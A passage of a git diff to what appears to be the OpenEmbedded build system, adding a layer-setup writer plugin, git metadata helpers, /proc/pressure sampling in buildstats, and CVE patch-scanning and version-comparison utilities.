+ remotes[r] = {'uri':oe.buildcfg.get_metadata_git_remote_url(repo_path, r)}
+ return remotes
+
+ def _is_submodule(self, repo_path):
+ # This is slightly brittle: git does not offer a way to tell whether
+ # a given repo dir is a submodule checkout, so we need to rely on .git
+ # being a file (rather than a dir like it is in standalone checkouts).
+ # The file typically contains a gitdir pointer to elsewhere.
+ return os.path.isfile(os.path.join(repo_path,".git"))
+
+ def make_repo_config(self, destdir):
+ """ This is a helper function for the writer plugins that discovers currently configured layers.
+ The writers do not have to use it, but it can save a bit of work and avoid duplicated code, hence it is
+ available here. """
+ repos = {}
+ layers = oe.buildcfg.get_layer_revisions(self.tinfoil.config_data)
+ destdir_repo = oe.buildcfg.get_metadata_git_toplevel(destdir)
+
+ for (l_path, l_name, l_branch, l_rev, l_ismodified) in layers:
+ if l_name == 'workspace':
+ continue
+ if l_ismodified:
+ logger.error("Layer {name} in {path} has uncommitted modifications or is not in a git repository.".format(name=l_name,path=l_path))
+ return
+ repo_path = oe.buildcfg.get_metadata_git_toplevel(l_path)
+
+ if self._is_submodule(repo_path):
+ continue
+ if repo_path not in repos.keys():
+ repos[repo_path] = {'path':os.path.basename(repo_path),'git-remote':{
+ 'rev':l_rev,
+ 'branch':l_branch,
+ 'remotes':self._get_remotes_with_url(repo_path),
+ 'describe':oe.buildcfg.get_metadata_git_describe(repo_path)}}
+ if repo_path == destdir_repo:
+ repos[repo_path]['contains_this_file'] = True
+ if not repos[repo_path]['git-remote']['remotes'] and not repos[repo_path]['contains_this_file']:
+ logger.error("Layer repository in {path} does not have any remotes configured. Please add at least one with 'git remote add'.".format(path=repo_path))
+ return
+
+ top_path = os.path.commonpath([os.path.dirname(r) for r in repos.keys()])
+
+ repos_nopaths = {}
+ for r in repos.keys():
+ r_nopath = os.path.basename(r)
+ repos_nopaths[r_nopath] = repos[r]
+ r_relpath = os.path.relpath(r, top_path)
+ repos_nopaths[r_nopath]['path'] = r_relpath
+ return repos_nopaths
+
+ def do_make_setup(self, args):
+ """ Writes out a configuration file and/or a script that replicate the directory structure and revisions of the layers in a current build. """
+ for p in self.plugins:
+ if str(p) == args.writer:
+ p.do_write(self, args)
+
+ def register_commands(self, sp):
+ parser_setup_layers = self.add_command(sp, 'create-layers-setup', self.do_make_setup, parserecipes=False)
+ parser_setup_layers.add_argument('destdir',
+ help='Directory where to write the output\n(if it is inside one of the layers, the layer becomes a bootstrap repository and thus will be excluded from fetching).')
+ parser_setup_layers.add_argument('--output-prefix', '-o',
+ help='File name prefix for the output files, if the default (setup-layers) is undesirable.')
+
+ self.plugins = []
+
+ for path in (self.tinfoil.config_data.getVar('BBPATH').split(':')):
+ pluginpath = os.path.join(path, 'lib', 'bblayers', 'setupwriters')
+ bb.utils.load_plugins(logger, self.plugins, pluginpath)
+
+ parser_setup_layers.add_argument('--writer', '-w', choices=[str(p) for p in self.plugins], help="Choose the output format (defaults to oe-setup-layers).\n\nCurrently supported options are:\noe-setup-layers - a self-contained python script and a json config for it.\n\n", default="oe-setup-layers")
+
+ for plugin in self.plugins:
+ if hasattr(plugin, 'register_arguments'):
+ plugin.register_arguments(parser_setup_layers)
diff --git a/meta/lib/bblayers/setupwriters/oe-setup-layers.py b/meta/lib/bblayers/setupwriters/oe-setup-layers.py
new file mode 100644
index 0000000000..59ca968ff3
--- /dev/null
+++ b/meta/lib/bblayers/setupwriters/oe-setup-layers.py
@@ -0,0 +1,117 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import logging
+import os
+import json
+import stat
+
+logger = logging.getLogger('bitbake-layers')
+
+def plugin_init(plugins):
+ return OeSetupLayersWriter()
+
+class OeSetupLayersWriter():
+
+ def __str__(self):
+ return "oe-setup-layers"
+
+ def _write_python(self, input, output):
+ with open(input) as f:
+ script = f.read()
+ with open(output, 'w') as f:
+ f.write(script)
+ st = os.stat(output)
+ os.chmod(output, st.st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)
+
+ def _write_json(self, repos, output):
+ with open(output, 'w') as f:
+ json.dump(repos, f, sort_keys=True, indent=4)
+
+ def _read_repo_config(self, json_path):
+ with open(json_path) as f:
+ json_config = json.load(f)
+
+ supported_versions = ["1.0"]
+ if json_config["version"] not in supported_versions:
+ err = "File {} has version {}, which is not in supported versions: {}".format(json_path, json_config["version"], supported_versions)
+ logger.error(err)
+ raise Exception(err)
+
+ return json_config
+
+ def _modify_repo_config(self, json_config, args):
+ sources = json_config['sources']
+ for pair in args.custom_references:
+ try:
+ repo, rev = pair.split(':', maxsplit=1)
+ except ValueError:
+ err = "Invalid custom reference specified: '{}'. Provide one using 'REPOSITORY:REFERENCE'.".format(pair)
+ logger.error(err)
+ raise Exception(err)
+ if not repo in sources.keys():
+ err = "Repository {} does not exist in setup-layers config".format(repo)
+ logger.error(err)
+ raise Exception(err)
+
+ layer_remote = json_config['sources'][repo]['git-remote']
+ layer_remote['rev'] = rev
+ # Clear describe
+ layer_remote['describe'] = ''
+
+ def do_write(self, parent, args):
+ """ Writes out a python script and a json config that replicate the directory structure and revisions of the layers in a current build. """
+ output = args.output_prefix or "setup-layers"
+ output = os.path.join(os.path.abspath(args.destdir), output)
+
+ if args.update:
+ # Modify existing layers setup
+ if args.custom_references is None:
+ err = "No custom reference specified. Please provide one using '--use-custom-reference REPOSITORY:REFERENCE'."
+ logger.error(err)
+ raise Exception(err)
+
+ json = self._read_repo_config(output + ".json")
+ if not 'sources' in json.keys():
+ err = "File {}.json does not contain valid layer sources.".format(output)
+ logger.error(err)
+ raise Exception(err)
+
+ else:
+ # Create new layers setup
+ if not os.path.exists(args.destdir):
+ os.makedirs(args.destdir)
+ repos = parent.make_repo_config(args.destdir)
+ json = {"version":"1.0","sources":repos}
+ if not repos:
+ err = "Could not determine layer sources"
+ logger.error(err)
+ raise Exception(err)
+
+ if args.custom_references is not None:
+ self._modify_repo_config(json, args)
+
+ self._write_json(json, output + ".json")
+ logger.info('Created {}.json'.format(output))
+ if not args.json_only:
+ self._write_python(os.path.join(os.path.dirname(__file__),'../../../../scripts/oe-setup-layers'), output)
+ logger.info('Created {}'.format(output))
+
+ def register_arguments(self, parser):
+ parser.add_argument('--json-only', action='store_true',
+ help='When using the oe-setup-layers writer, write only the layer configuruation in json format. Otherwise, also a copy of scripts/oe-setup-layers (from oe-core or poky) is provided, which is a self contained python script that fetches all the needed layers and sets them to correct revisions using the data from the json.')
+
+ parser.add_argument('--update', '-u',
+ action='store_true',
+ help=("Instead of writing a new json file, update an existing layer setup json file with custom references provided via the '--use-custom-reference' option."
+ "\nThis will only update repositories for which a custom reference is specified, all other repositores will be left unchanged."))
+ parser.add_argument('--use-custom-reference', '-r',
+ action='append',
+ dest='custom_references',
+ metavar='REPOSITORY:REFERENCE',
+ help=("A pair consisting of a repository and a custom reference to use for it (by default the currently checked out commit id would be written out)."
+ "\nThis value can be any reference that 'git checkout' would accept, and is not checked for validity."
+ "\nThis option can be used multiple times."))
diff --git a/meta/lib/bblayers/templates/example.bb b/meta/lib/bblayers/templates/example.bb
index c4b873d593..facaae35d2 100644
--- a/meta/lib/bblayers/templates/example.bb
+++ b/meta/lib/bblayers/templates/example.bb
@@ -2,10 +2,12 @@ SUMMARY = "bitbake-layers recipe"
DESCRIPTION = "Recipe created by bitbake-layers"
LICENSE = "MIT"
-python do_build() {
+python do_display_banner() {
bb.plain("***********************************************");
bb.plain("* *");
bb.plain("* Example recipe created by bitbake-layers *");
bb.plain("* *");
bb.plain("***********************************************");
}
+
+addtask display_banner before do_build
diff --git a/meta/lib/bblayers/templates/layer.conf b/meta/lib/bblayers/templates/layer.conf
index e2eaff4346..dddfbf716e 100644
--- a/meta/lib/bblayers/templates/layer.conf
+++ b/meta/lib/bblayers/templates/layer.conf
@@ -5,9 +5,9 @@ BBPATH .= ":${{LAYERDIR}}"
BBFILES += "${{LAYERDIR}}/recipes-*/*/*.bb \
${{LAYERDIR}}/recipes-*/*/*.bbappend"
-BBFILE_COLLECTIONS += "{layername}"
-BBFILE_PATTERN_{layername} = "^${{LAYERDIR}}/"
-BBFILE_PRIORITY_{layername} = "{priority}"
+BBFILE_COLLECTIONS += "{layerid}"
+BBFILE_PATTERN_{layerid} = "^${{LAYERDIR}}/"
+BBFILE_PRIORITY_{layerid} = "{priority}"
-LAYERDEPENDS_{layername} = "core"
-LAYERSERIES_COMPAT_{layername} = "{compat}"
+LAYERDEPENDS_{layerid} = "core"
+LAYERSERIES_COMPAT_{layerid} = "{compat}"
diff --git a/meta/lib/buildstats.py b/meta/lib/buildstats.py
index 8627ed3c31..1ffe679801 100644
--- a/meta/lib/buildstats.py
+++ b/meta/lib/buildstats.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Implements system state sampling. Called by buildstats.bbclass.
@@ -14,13 +16,27 @@ class SystemStats:
bn = d.getVar('BUILDNAME')
bsdir = os.path.join(d.getVar('BUILDSTATS_BASE'), bn)
bb.utils.mkdirhier(bsdir)
+ file_handlers = [('diskstats', self._reduce_diskstats),
+ ('meminfo', self._reduce_meminfo),
+ ('stat', self._reduce_stat)]
+
+ # Some hosts like openSUSE have readable /proc/pressure files
+ # but throw errors when these files are opened. Catch these error
+ # and ensure that the reduce_proc_pressure directory is not created.
+ if os.path.exists("/proc/pressure"):
+ try:
+ with open('/proc/pressure/cpu', 'rb') as source:
+ source.read()
+ pressuredir = os.path.join(bsdir, 'reduced_proc_pressure')
+ bb.utils.mkdirhier(pressuredir)
+ file_handlers.extend([('pressure/cpu', self._reduce_pressure),
+ ('pressure/io', self._reduce_pressure),
+ ('pressure/memory', self._reduce_pressure)])
+ except Exception:
+ pass
self.proc_files = []
- for filename, handler in (
- ('diskstats', self._reduce_diskstats),
- ('meminfo', self._reduce_meminfo),
- ('stat', self._reduce_stat),
- ):
+ for filename, handler in (file_handlers):
# The corresponding /proc files might not exist on the host.
# For example, /proc/diskstats is not available in virtualized
# environments like Linux-VServer. Silently skip collecting
@@ -37,24 +53,32 @@ class SystemStats:
# Last time that we sampled /proc data resp. recorded disk monitoring data.
self.last_proc = 0
self.last_disk_monitor = 0
- # Minimum number of seconds between recording a sample. This
- # becames relevant when we get called very often while many
- # short tasks get started. Sampling during quiet periods
+ # Minimum number of seconds between recording a sample. This becames relevant when we get
+ # called very often while many short tasks get started. Sampling during quiet periods
# depends on the heartbeat event, which fires less often.
- self.min_seconds = 1
-
- self.meminfo_regex = re.compile(b'^(MemTotal|MemFree|Buffers|Cached|SwapTotal|SwapFree):\s*(\d+)')
- self.diskstats_regex = re.compile(b'^([hsv]d.|mtdblock\d|mmcblk\d|cciss/c\d+d\d+.*)$')
+ # By default, the Heartbeat events occur roughly once every second but the actual time
+ # between these events deviates by a few milliseconds, in most cases. Hence
+ # pick a somewhat arbitary tolerance such that we sample a large majority
+ # of the Heartbeat events. This ignores rare events that fall outside the minimum
+ # and may lead an extra sample in a given second every so often. However, it allows for fairly
+ # consistent intervals between samples without missing many events.
+ self.tolerance = 0.01
+ self.min_seconds = 1.0 - self.tolerance
+
+ self.meminfo_regex = re.compile(rb'^(MemTotal|MemFree|Buffers|Cached|SwapTotal|SwapFree):\s*(\d+)')
+ self.diskstats_regex = re.compile(rb'^([hsv]d.|mtdblock\d|mmcblk\d|cciss/c\d+d\d+.*)$')
self.diskstats_ltime = None
self.diskstats_data = None
self.stat_ltimes = None
+ # Last time we sampled /proc/pressure. All resources stored in a single dict with the key as filename
+ self.last_pressure = {"pressure/cpu": None, "pressure/io": None, "pressure/memory": None}
def close(self):
self.monitor_disk.close()
for _, output, _ in self.proc_files:
output.close()
- def _reduce_meminfo(self, time, data):
+ def _reduce_meminfo(self, time, data, filename):
"""
Extracts 'MemTotal', 'MemFree', 'Buffers', 'Cached', 'SwapTotal', 'SwapFree'
and writes their values into a single line, in that order.
@@ -75,7 +99,7 @@ class SystemStats:
disk = linetokens[2]
return self.diskstats_regex.match(disk)
- def _reduce_diskstats(self, time, data):
+ def _reduce_diskstats(self, time, data, filename):
relevant_tokens = filter(self._diskstats_is_relevant_line, map(lambda x: x.split(), data.split(b'\n')))
diskdata = [0] * 3
reduced = None
@@ -104,10 +128,10 @@ class SystemStats:
return reduced
- def _reduce_nop(self, time, data):
+ def _reduce_nop(self, time, data, filename):
return (time, data)
- def _reduce_stat(self, time, data):
+ def _reduce_stat(self, time, data, filename):
if not data:
return None
# CPU times {user, nice, system, idle, io_wait, irq, softirq} from first line
@@ -126,14 +150,41 @@ class SystemStats:
self.stat_ltimes = times
return reduced
+ def _reduce_pressure(self, time, data, filename):
+ """
+ Return reduced pressure: {avg10, avg60, avg300} and delta total compared to the previous sample
+ for the cpu, io and memory resources. A common function is used for all 3 resources since the
+ format of the /proc/pressure file is the same in each case.
+ """
+ if not data:
+ return None
+ tokens = data.split(b'\n', 1)[0].split()
+ avg10 = float(tokens[1].split(b'=')[1])
+ avg60 = float(tokens[2].split(b'=')[1])
+ avg300 = float(tokens[3].split(b'=')[1])
+ total = int(tokens[4].split(b'=')[1])
+
+ reduced = None
+ if self.last_pressure[filename]:
+ delta = total - self.last_pressure[filename]
+ reduced = (time, (avg10, avg60, avg300, delta))
+ self.last_pressure[filename] = total
+ return reduced
+
def sample(self, event, force):
+ """
+ Collect and log proc or disk_monitor stats periodically.
+ Return True if a new sample is collected and hence the value last_proc or last_disk_monitor
+ is changed.
+ """
+ retval = False
now = time.time()
if (now - self.last_proc > self.min_seconds) or force:
for filename, output, handler in self.proc_files:
with open(os.path.join('/proc', filename), 'rb') as input:
data = input.read()
if handler:
- reduced = handler(now, data)
+ reduced = handler(now, data, filename)
else:
reduced = (now, data)
if reduced:
@@ -150,6 +201,7 @@ class SystemStats:
data +
b'\n')
self.last_proc = now
+ retval = True
if isinstance(event, bb.event.MonitorDiskEvent) and \
((now - self.last_disk_monitor > self.min_seconds) or force):
@@ -159,3 +211,5 @@ class SystemStats:
for dev, sample in event.disk_usage.items()]).encode('ascii') +
b'\n')
self.last_disk_monitor = now
+ retval = True
+ return retval \ No newline at end of file
diff --git a/meta/lib/oe/__init__.py b/meta/lib/oe/__init__.py
index 4e7c09da04..6eb536ad28 100644
--- a/meta/lib/oe/__init__.py
+++ b/meta/lib/oe/__init__.py
@@ -1,6 +1,12 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
from pkgutil import extend_path
__path__ = extend_path(__path__, __name__)
+
+BBIMPORTS = ["data", "path", "utils", "types", "package", "packagedata", \
+ "packagegroup", "sstatesig", "lsb", "cachedpath", "license", \
+ "qa", "reproducible", "rust", "buildcfg", "go"]
diff --git a/meta/lib/oe/buildcfg.py b/meta/lib/oe/buildcfg.py
new file mode 100644
index 0000000000..27b059b834
--- /dev/null
+++ b/meta/lib/oe/buildcfg.py
@@ -0,0 +1,79 @@
+
+import os
+import subprocess
+import bb.process
+
+def detect_revision(d):
+ path = get_scmbasepath(d)
+ return get_metadata_git_revision(path)
+
+def detect_branch(d):
+ path = get_scmbasepath(d)
+ return get_metadata_git_branch(path)
+
+def get_scmbasepath(d):
+ return os.path.join(d.getVar('COREBASE'), 'meta')
+
+def get_metadata_git_branch(path):
+ try:
+ rev, _ = bb.process.run('git rev-parse --abbrev-ref HEAD', cwd=path)
+ except bb.process.ExecutionError:
+ rev = '<unknown>'
+ return rev.strip()
+
+def get_metadata_git_revision(path):
+ try:
+ rev, _ = bb.process.run('git rev-parse HEAD', cwd=path)
+ except bb.process.ExecutionError:
+ rev = '<unknown>'
+ return rev.strip()
+
+def get_metadata_git_toplevel(path):
+ try:
+ toplevel, _ = bb.process.run('git rev-parse --show-toplevel', cwd=path)
+ except bb.process.ExecutionError:
+ return ""
+ return toplevel.strip()
+
+def get_metadata_git_remotes(path):
+ try:
+ remotes_list, _ = bb.process.run('git remote', cwd=path)
+ remotes = remotes_list.split()
+ except bb.process.ExecutionError:
+ remotes = []
+ return remotes
+
+def get_metadata_git_remote_url(path, remote):
+ try:
+ uri, _ = bb.process.run('git remote get-url {remote}'.format(remote=remote), cwd=path)
+ except bb.process.ExecutionError:
+ return ""
+ return uri.strip()
+
+def get_metadata_git_describe(path):
+ try:
+ describe, _ = bb.process.run('git describe --tags', cwd=path)
+ except bb.process.ExecutionError:
+ return ""
+ return describe.strip()
+
+def is_layer_modified(path):
+ try:
+ subprocess.check_output("""cd %s; export PSEUDO_UNLOAD=1; set -e;
+ git diff --quiet --no-ext-diff
+ git diff --quiet --no-ext-diff --cached""" % path,
+ shell=True,
+ stderr=subprocess.STDOUT)
+ return ""
+ except subprocess.CalledProcessError as ex:
+ # Silently treat errors as "modified", without checking for the
+ # (expected) return code 1 in a modified git repo. For example, we get
+ # output and a 129 return code when a layer isn't a git repo at all.
+ return " -- modified"
+
+def get_layer_revisions(d):
+ layers = (d.getVar("BBLAYERS") or "").split()
+ revisions = []
+ for i in layers:
+ revisions.append((i, os.path.basename(i), get_metadata_git_branch(i).strip(), get_metadata_git_revision(i), is_layer_modified(i)))
+ return revisions
diff --git a/meta/lib/oe/buildhistory_analysis.py b/meta/lib/oe/buildhistory_analysis.py
index 2d6fa1779e..4edad01580 100644
--- a/meta/lib/oe/buildhistory_analysis.py
+++ b/meta/lib/oe/buildhistory_analysis.py
@@ -373,8 +373,10 @@ def compare_file_lists(alines, blines, compare_ownership=True):
removals.remove(removal2)
continue
filechanges.append(FileChange(removal, FileChange.changetype_move, addition))
- additions.remove(addition)
- removals.remove(removal)
+ if addition in additions:
+ additions.remove(addition)
+ if removal in removals:
+ removals.remove(removal)
for rename in renames:
filechanges.append(FileChange(renames[rename], FileChange.changetype_move, rename))
@@ -560,7 +562,7 @@ def compare_siglists(a_blob, b_blob, taskdiff=False):
elif not hash2 in hashfiles:
out.append("Unable to find matching sigdata for %s with hash %s" % (desc, hash2))
else:
- out2 = bb.siggen.compare_sigfiles(hashfiles[hash1], hashfiles[hash2], recursecb, collapsed=True)
+ out2 = bb.siggen.compare_sigfiles(hashfiles[hash1]['path'], hashfiles[hash2]['path'], recursecb, collapsed=True)
for line in out2:
m = hashlib.sha256()
m.update(line.encode('utf-8'))
diff --git a/meta/lib/oe/cachedpath.py b/meta/lib/oe/cachedpath.py
index 254257a83f..0138b791d4 100644
--- a/meta/lib/oe/cachedpath.py
+++ b/meta/lib/oe/cachedpath.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Based on standard python library functions but avoid
diff --git a/meta/lib/oe/classextend.py b/meta/lib/oe/classextend.py
index d3d8fbe724..5161d33d2d 100644
--- a/meta/lib/oe/classextend.py
+++ b/meta/lib/oe/classextend.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -30,6 +32,9 @@ class ClassExtender(object):
if name.endswith("-" + self.extname):
name = name.replace("-" + self.extname, "")
if name.startswith("virtual/"):
+ # Assume large numbers of dashes means a triplet is present and we don't need to convert
+ if name.count("-") >= 3 and name.endswith(("-go", "-binutils", "-gcc", "-g++")):
+ return name
subs = name.split("/", 1)[1]
if not subs.startswith(self.extname):
return "virtual/" + self.extname + "-" + subs
@@ -87,7 +92,7 @@ class ClassExtender(object):
def map_depends_variable(self, varname, suffix = ""):
# We need to preserve EXTENDPKGV so it can be expanded correctly later
if suffix:
- varname = varname + "_" + suffix
+ varname = varname + ":" + suffix
orig = self.d.getVar("EXTENDPKGV", False)
self.d.setVar("EXTENDPKGV", "EXTENDPKGV")
deps = self.d.getVar(varname)
@@ -142,15 +147,13 @@ class ClassExtender(object):
if pkg_mapping[0].startswith("${") and pkg_mapping[0].endswith("}"):
continue
for subs in variables:
- self.d.renameVar("%s_%s" % (subs, pkg_mapping[0]), "%s_%s" % (subs, pkg_mapping[1]))
+ self.d.renameVar("%s:%s" % (subs, pkg_mapping[0]), "%s:%s" % (subs, pkg_mapping[1]))
class NativesdkClassExtender(ClassExtender):
def map_depends(self, dep):
if dep.startswith(self.extname):
return dep
- if dep.endswith(("-gcc", "-g++")):
- return dep + "-crosssdk"
- elif dep.endswith(("-native", "-native-runtime")) or ('nativesdk-' in dep) or ('-cross-' in dep) or ('-crosssdk-' in dep):
+ if dep.endswith(("-native", "-native-runtime")) or ('nativesdk-' in dep) or ('-cross-' in dep) or ('-crosssdk-' in dep):
return dep
else:
return self.extend_name(dep)
diff --git a/meta/lib/oe/classutils.py b/meta/lib/oe/classutils.py
index 08bb66b365..ec3f6ad720 100644
--- a/meta/lib/oe/classutils.py
+++ b/meta/lib/oe/classutils.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/meta/lib/oe/copy_buildsystem.py b/meta/lib/oe/copy_buildsystem.py
index 31a84f5b06..81abfbf9e2 100644
--- a/meta/lib/oe/copy_buildsystem.py
+++ b/meta/lib/oe/copy_buildsystem.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# This class should provide easy access to the different aspects of the
@@ -20,7 +22,7 @@ def _smart_copy(src, dest):
mode = os.stat(src).st_mode
if stat.S_ISDIR(mode):
bb.utils.mkdirhier(dest)
- cmd = "tar --exclude='.git' --xattrs --xattrs-include='*' -chf - -C %s -p . \
+ cmd = "tar --exclude='.git' --exclude='__pycache__' --xattrs --xattrs-include='*' -cf - -C %s -p . \
| tar --xattrs --xattrs-include='*' -xf - -C %s" % (src, dest)
subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
else:
@@ -45,9 +47,6 @@ class BuildSystem(object):
corebase = os.path.abspath(self.d.getVar('COREBASE'))
layers.append(corebase)
- # Get relationship between TOPDIR and COREBASE
- # Layers should respect it
- corebase_relative = os.path.dirname(os.path.relpath(os.path.abspath(self.d.getVar('TOPDIR')), corebase))
# The bitbake build system uses the meta-skeleton layer as a layout
# for common recipies, e.g: the recipetool script to create kernel recipies
# Add the meta-skeleton layer to be included as part of the eSDK installation
@@ -100,11 +99,10 @@ class BuildSystem(object):
layerdestpath = destdir
if corebase == os.path.dirname(layer):
layerdestpath += '/' + os.path.basename(corebase)
- else:
- layer_relative = os.path.relpath(layer, corebase)
- if os.path.dirname(layer_relative) == corebase_relative:
- layer_relative = os.path.dirname(corebase_relative) + '/' + layernewname
- layer_relative = os.path.basename(corebase) + '/' + layer_relative
+ # If the layer is located somewhere under the same parent directory
+ # as corebase we keep the layer structure.
+ elif os.path.commonpath([layer, corebase]) == os.path.dirname(corebase):
+ layer_relative = os.path.relpath(layer, os.path.dirname(corebase))
if os.path.dirname(layer_relative) != layernewname:
layerdestpath += '/' + os.path.dirname(layer_relative)
@@ -259,7 +257,7 @@ def create_locked_sstate_cache(lockedsigs, input_sstate_cache, output_sstate_cac
bb.note('Generating sstate-cache...')
nativelsbstring = d.getVar('NATIVELSBSTRING')
- bb.process.run("gen-lockedsig-cache %s %s %s %s %s" % (lockedsigs, input_sstate_cache, output_sstate_cache, nativelsbstring, filterfile or ''))
+ bb.process.run("PYTHONDONTWRITEBYTECODE=1 gen-lockedsig-cache %s %s %s %s %s" % (lockedsigs, input_sstate_cache, output_sstate_cache, nativelsbstring, filterfile or ''))
if fixedlsbstring and nativelsbstring != fixedlsbstring:
nativedir = output_sstate_cache + '/' + nativelsbstring
if os.path.isdir(nativedir):
@@ -286,7 +284,7 @@ def check_sstate_task_list(d, targets, filteroutfile, cmdprefix='', cwd=None, lo
logparam = '-l %s' % logfile
else:
logparam = ''
- cmd = "%sBB_SETSCENE_ENFORCE=1 PSEUDO_DISABLED=1 oe-check-sstate %s -s -o %s %s" % (cmdprefix, targets, filteroutfile, logparam)
+ cmd = "%sPYTHONDONTWRITEBYTECODE=1 BB_SETSCENE_ENFORCE=1 PSEUDO_DISABLED=1 oe-check-sstate %s -s -o %s %s" % (cmdprefix, targets, filteroutfile, logparam)
env = dict(d.getVar('BB_ORIGENV', False))
env.pop('BUILDDIR', '')
env.pop('BBPATH', '')
diff --git a/meta/lib/oe/cve_check.py b/meta/lib/oe/cve_check.py
new file mode 100644
index 0000000000..ed5c714cb8
--- /dev/null
+++ b/meta/lib/oe/cve_check.py
@@ -0,0 +1,245 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import collections
+import re
+import itertools
+import functools
+
+_Version = collections.namedtuple(
+ "_Version", ["release", "patch_l", "pre_l", "pre_v"]
+)
+
+@functools.total_ordering
+class Version():
+
+ def __init__(self, version, suffix=None):
+
+ suffixes = ["alphabetical", "patch"]
+
+ if str(suffix) == "alphabetical":
+ version_pattern = r"""r?v?(?:(?P<release>[0-9]+(?:[-\.][0-9]+)*)(?P<patch>[-_\.]?(?P<patch_l>[a-z]))?(?P<pre>[-_\.]?(?P<pre_l>(rc|alpha|beta|pre|preview|dev))[-_\.]?(?P<pre_v>[0-9]+)?)?)(.*)?"""
+ elif str(suffix) == "patch":
+ version_pattern = r"""r?v?(?:(?P<release>[0-9]+(?:[-\.][0-9]+)*)(?P<patch>[-_\.]?(p|patch)(?P<patch_l>[0-9]+))?(?P<pre>[-_\.]?(?P<pre_l>(rc|alpha|beta|pre|preview|dev))[-_\.]?(?P<pre_v>[0-9]+)?)?)(.*)?"""
+ else:
+ version_pattern = r"""r?v?(?:(?P<release>[0-9]+(?:[-\.][0-9]+)*)(?P<pre>[-_\.]?(?P<pre_l>(rc|alpha|beta|pre|preview|dev))[-_\.]?(?P<pre_v>[0-9]+)?)?)(.*)?"""
+ regex = re.compile(r"^\s*" + version_pattern + r"\s*$", re.VERBOSE | re.IGNORECASE)
+
+ match = regex.search(version)
+ if not match:
+ raise Exception("Invalid version: '{0}'".format(version))
+
+ self._version = _Version(
+ release=tuple(int(i) for i in match.group("release").replace("-",".").split(".")),
+ patch_l=match.group("patch_l") if str(suffix) in suffixes and match.group("patch_l") else "",
+ pre_l=match.group("pre_l"),
+ pre_v=match.group("pre_v")
+ )
+
+ self._key = _cmpkey(
+ self._version.release,
+ self._version.patch_l,
+ self._version.pre_l,
+ self._version.pre_v
+ )
+
+ def __eq__(self, other):
+ if not isinstance(other, Version):
+ return NotImplemented
+ return self._key == other._key
+
+ def __gt__(self, other):
+ if not isinstance(other, Version):
+ return NotImplemented
+ return self._key > other._key
+
+def _cmpkey(release, patch_l, pre_l, pre_v):
+ # remove leading 0
+ _release = tuple(
+ reversed(list(itertools.dropwhile(lambda x: x == 0, reversed(release))))
+ )
+
+ _patch = patch_l.upper()
+
+ if pre_l is None and pre_v is None:
+ _pre = float('inf')
+ else:
+ _pre = float(pre_v) if pre_v else float('-inf')
+ return _release, _patch, _pre
+
+
+def get_patched_cves(d):
+ """
+ Get patches that solve CVEs using the "CVE: " tag.
+ """
+
+ import re
+ import oe.patch
+
+ cve_match = re.compile(r"CVE:( CVE-\d{4}-\d+)+")
+
+ # Matches the last "CVE-YYYY-ID" in the file name, also if written
+ # in lowercase. Possible to have multiple CVE IDs in a single
+ # file name, but only the last one will be detected from the file name.
+ # However, patch files contents addressing multiple CVE IDs are supported
+ # (cve_match regular expression)
+ cve_file_name_match = re.compile(r".*(CVE-\d{4}-\d+)", re.IGNORECASE)
+
+ patched_cves = set()
+ patches = oe.patch.src_patches(d)
+ bb.debug(2, "Scanning %d patches for CVEs" % len(patches))
+ for url in patches:
+ patch_file = bb.fetch.decodeurl(url)[2]
+
+ # Check patch file name for CVE ID
+ fname_match = cve_file_name_match.search(patch_file)
+ if fname_match:
+ cve = fname_match.group(1).upper()
+ patched_cves.add(cve)
+ bb.debug(2, "Found %s from patch file name %s" % (cve, patch_file))
+
+ # Remote patches won't be present and compressed patches won't be
+ # unpacked, so say we're not scanning them
+ if not os.path.isfile(patch_file):
+ bb.note("%s is remote or compressed, not scanning content" % patch_file)
+ continue
+
+ with open(patch_file, "r", encoding="utf-8") as f:
+ try:
+ patch_text = f.read()
+ except UnicodeDecodeError:
+ bb.debug(1, "Failed to read patch %s using UTF-8 encoding"
+ " trying with iso8859-1" % patch_file)
+ f.close()
+ with open(patch_file, "r", encoding="iso8859-1") as f:
+ patch_text = f.read()
+
+ # Search for one or more "CVE: " lines
+ text_match = False
+ for match in cve_match.finditer(patch_text):
+ # Get only the CVEs without the "CVE: " tag
+ cves = patch_text[match.start()+5:match.end()]
+ for cve in cves.split():
+ bb.debug(2, "Patch %s solves %s" % (patch_file, cve))
+ patched_cves.add(cve)
+ text_match = True
+
+ if not fname_match and not text_match:
+ bb.debug(2, "Patch %s doesn't solve CVEs" % patch_file)
+
+ # Search for additional patched CVEs
+ for cve in (d.getVarFlags("CVE_STATUS") or {}):
+ decoded_status, _, _ = decode_cve_status(d, cve)
+ if decoded_status == "Patched":
+ bb.debug(2, "CVE %s is additionally patched" % cve)
+ patched_cves.add(cve)
+
+ return patched_cves
+
+
+def get_cpe_ids(cve_product, version):
+ """
+ Get list of CPE identifiers for the given product and version
+ """
+
+ version = version.split("+git")[0]
+
+ cpe_ids = []
+ for product in cve_product.split():
+ # CVE_PRODUCT in recipes may include vendor information for CPE identifiers. If not,
+ # use wildcard for vendor.
+ if ":" in product:
+ vendor, product = product.split(":", 1)
+ else:
+ vendor = "*"
+
+ cpe_id = 'cpe:2.3:*:{}:{}:{}:*:*:*:*:*:*:*'.format(vendor, product, version)
+ cpe_ids.append(cpe_id)
+
+ return cpe_ids
+
+def cve_check_merge_jsons(output, data):
+ """
+ Merge the data in the "package" property to the main data file
+ output
+ """
+ if output["version"] != data["version"]:
+ bb.error("Version mismatch when merging JSON outputs")
+ return
+
